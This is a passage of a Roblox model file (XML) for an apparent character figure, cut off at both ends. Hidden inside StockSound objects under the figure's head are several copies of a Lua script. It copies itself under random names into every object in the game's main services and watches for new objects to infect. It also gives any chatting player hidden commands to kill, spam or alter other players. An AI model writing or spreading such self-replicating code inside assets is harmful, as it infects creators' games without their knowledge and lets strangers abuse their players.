me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX633">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX634</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX634">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-160.701141</X>
								<Y>5.02179527</Y>
								<Z>-4.03498077</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX635">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX636">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">xp8v</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX637">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">omw3a</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX638">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX639">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">ojl3</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX640">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">lhuq9pnpn</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

